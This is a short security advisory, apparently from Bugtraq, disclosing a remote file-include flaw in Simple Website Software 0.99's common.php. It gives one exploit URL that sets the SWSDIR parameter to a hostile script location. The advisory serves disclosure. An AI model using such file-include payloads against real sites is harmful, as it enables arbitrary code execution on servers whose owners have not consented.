Simple Website Software Common.PHP Remote File Include Vulnerability

Bugtraq ID:	20787
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 28 2006 12:00AM
Updated:	Oct 30 2006 09:57PM
Credit:	Cyber-Security is credited with the discovery of this vulnerability.
Vulnerable:	Simple WebSite Software Simple WebSite Software 0.99
Not Vulnerable:

Simple Website Software Common.PHP Remote File Include Vulnerability

Simple Website Software is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 0.99 is vulnerable to this issue; other versions may also be affected.

Simple Website Software Common.PHP Remote File Include Vulnerability

An attacker may exploit this issue using a web client.

The following exploit code is available:

http://www.example.com/common.php?SWSDIR=evilscripts?

Simple Website Software Common.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Simple Website Software Common.PHP Remote File Include Vulnerability

References:

• Vendor Home Page (Simple Website Software )